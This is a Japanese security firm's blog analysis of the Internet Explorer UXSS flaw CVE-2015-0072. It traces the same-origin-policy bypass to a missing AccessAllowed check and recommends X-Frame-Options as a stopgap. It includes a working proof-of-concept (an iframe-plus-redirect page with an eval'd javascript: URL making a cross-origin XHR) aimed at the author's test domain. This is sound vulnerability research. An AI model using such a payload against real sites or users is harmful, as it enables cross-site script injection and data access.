スマートフォン解析 top

TOP > タイガーチームセキュリティレポート > Internet Explorer UXSSの脆弱性 (CVE-2015-0072)

タイガーチームセキュリティレポート

Internet Explorer UXSSの脆弱性 (CVE-2015-0072)

先月末にInternet ExplorerのUniversal Cross Site Scripting (UXSS)の脆弱性が公開されました。これはIEのSame Origin Policy (SOP)をbypassして任意のユーザに対してXSSを実行できる危険な脆弱性です。

この脆弱性に関してこれを書いている時点ではMicrosoftからパッチがリリースされていないので、IEユーザはパッチを待つ間はFirefoxかGoogle Chromeなどの代替のブラウザに乗り換えることをおすすめします。


今回はWindows 7のIE 11で検証しました。

この脆弱性にはすでに多くのPoCが出回っていますが、一例として攻撃者のサイトからtest.gsx.co.jpに対してSOPをbypassしてXHRでPOSTリクエストを送信するPoCを示します。

<html>
<body>
<iframe src="redirect.php"></iframe>
<iframe src="http://test.gsx.co.jp/common_img/header_logo.gif"></iframe>
<script>
x=top[0];
x.eval('y=top[1];alert();y.location="javascript:z%3Dnew%20XMLHttpRequest()%3Bz.open(%27post%27%2C%27http%3A%2F%2Ftest.gsx.co.jp%2F%27%2Cfalse)%3Bz.send()%3Balert(z.getAllResponseHeaders())%3B"');
</script>
</body>
</html>
index.html

<?php
        sleep(5);
        header('Location: http://test.gsx.co.jp/common_img/header_logo.gif');
?>
redirect.php

以下はIE 11でこのPoCを実行した際の画面です。送信したPOSTリクエストに対するtest.gsx.co.jpからのレスポンスヘッダをポップアップで表示しています。

このPoCに関してポイントは2つあります。

最初のiframeへの参照xのSIDがリダイレクトの際にリダイレクト先のドメインに変わることと、y.locationの値を変更する際にSOPのチェックが行われていないことです。

前者に関してはIEのバグなのか仕様なのかよくわかりませんが、今後は修正されるかもしれません。

後者に関してはy.locationの値を書き換える際にmshtml.dllのCOmWindowProxy::AccessAllowedが呼ばれてSOPのチェックが行われるべきところだと思われます。

しかし、実際にデバッグしてみると最初のiframeのリダイレクトが処理されたあとはこれが呼ばれないことがわかります。これは恐らくIE 11のバグです。

COmWindowProxy::AccessAllowedが行っているのはGetSIDOfDispatchで取得したSIDの比較です。以下はCOmWindowProxy::AccessAllowedの一部を逆アセしたものです。

比較のために、PoCのindex.htmlを以下のように書き換えてIE 11で実行してみます。y.locationを書き換える際にCOmWindowProxy::AccessAllowedが呼び出されます。

<html>
<body>
<iframe src="redirect.php"></iframe>
<iframe src="http://test.gsx.co.jp/common_img/header_logo.gif"></iframe>
<script>
x=top[0];
x.eval('y=top[1];y.location="http://www.google.com/"');
</script>
</body>
</html>
index.html

この際、memcmpをcallするところでブレークして比較しているメモリの内容を表示したものが以下です。

http:www.example.comとhttp:www.example.comを比較していることがわかります。2つの文字列は一致するのでアクセスは許可されます。これは想定通りの動作です。


今回示した脆弱性のPoCは2つのiframeを使用したものでした。恐らく他の多くのPoCも同様の構成になっているはずです。

したがって、Webサイト側でのX-Frame-Optionsヘッダなどを使ってWebサイトの全てのコンテンツに対してframeへの読み込みを制限すればWebサイト側でこの脆弱性を使用した攻撃の多くを防ぐことはできると考えられます。

しかし、SOPを回避する方法がこれ以外にあるかどうか明らかではないため、この対策はあくまでIEのパッチがリリースされるまでの時間稼ぎとしては有効かもしれませんが、そのうち全く別の方法で回避されるかもしれません。


参考情報:
[1] Major Internet Explorer Vulnerability - NOT Patched
http://seclists.org/fulldisclosure/2015/Feb/0
[2] Internet Explorer Cross-Site Scripting Vulnerability Now Public
http://blog.trendmicro.com/trendlabs-security-intelligence/internet-explorer-cross-site-scripting-vulnerability-now-public/


タイガーチームメンバー 塚本 泰三